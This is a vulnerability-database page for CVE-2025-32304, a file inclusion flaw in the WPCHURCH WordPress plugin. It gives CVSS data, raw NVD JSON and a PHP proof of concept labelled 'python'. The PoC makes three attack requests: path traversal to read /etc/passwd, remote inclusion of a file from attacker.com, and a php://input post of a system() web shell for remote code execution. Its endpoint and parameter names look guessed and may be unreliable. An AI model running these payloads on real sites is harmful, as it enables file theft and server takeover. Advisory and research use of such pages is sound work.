Security Vulnerability Report
中文
CVE-2025-32304 CVSS 8.1 HIGH

CVE-2025-32304

Published: 2026-01-06 18:15:43
Last Modified: 2026-04-28 19:31:37

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mojoomla WPCHURCH allows PHP Local File Inclusion.This issue affects WPCHURCH: from n/a through 2.7.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WPCHURCH <= 2.7.0
Mojoomla WPCHURCH Plugin 所有版本至2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-32304 - WordPress WPCHURCH Local File Inclusion PoC * Affected: WPCHURCH Plugin <= 2.7.0 * CVSS: 8.1 (High) * Type: Local File Inclusion / Remote File Inclusion */ // PoC 1: Local File Inclusion - Read system files $target = 'http://target-site.com/wp-admin/admin-ajax.php'; $lfi_payload = '../../../../../../etc/passwd'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '?action=wpchurch_include&file=' . urlencode($lfi_payload)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); curl_close($ch); // PoC 2: Remote File Inclusion (if allow_url_include is enabled) $remote_lfi = 'http://attacker.com/malicious.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '?action=wpchurch_include&file=' . urlencode($remote_lfi)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); curl_close($ch); // PoC 3: PHP Protocol Wrapper for RCE $php_wrapper = 'php://input'; $data = '<?php system($_GET["cmd"]); ?>'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target . '?action=wpchurch_include&file=' . urlencode($php_wrapper)); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32304", "sourceIdentifier": "[email protected]", "published": "2026-01-06T18:15:42.553", "lastModified": "2026-04-28T19:31:37.233", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mojoomla WPCHURCH allows PHP Local File Inclusion.This issue affects WPCHURCH: from n/a through 2.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/church-management/vulnerability/wordpress-wpchurch-plugin-2-7-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}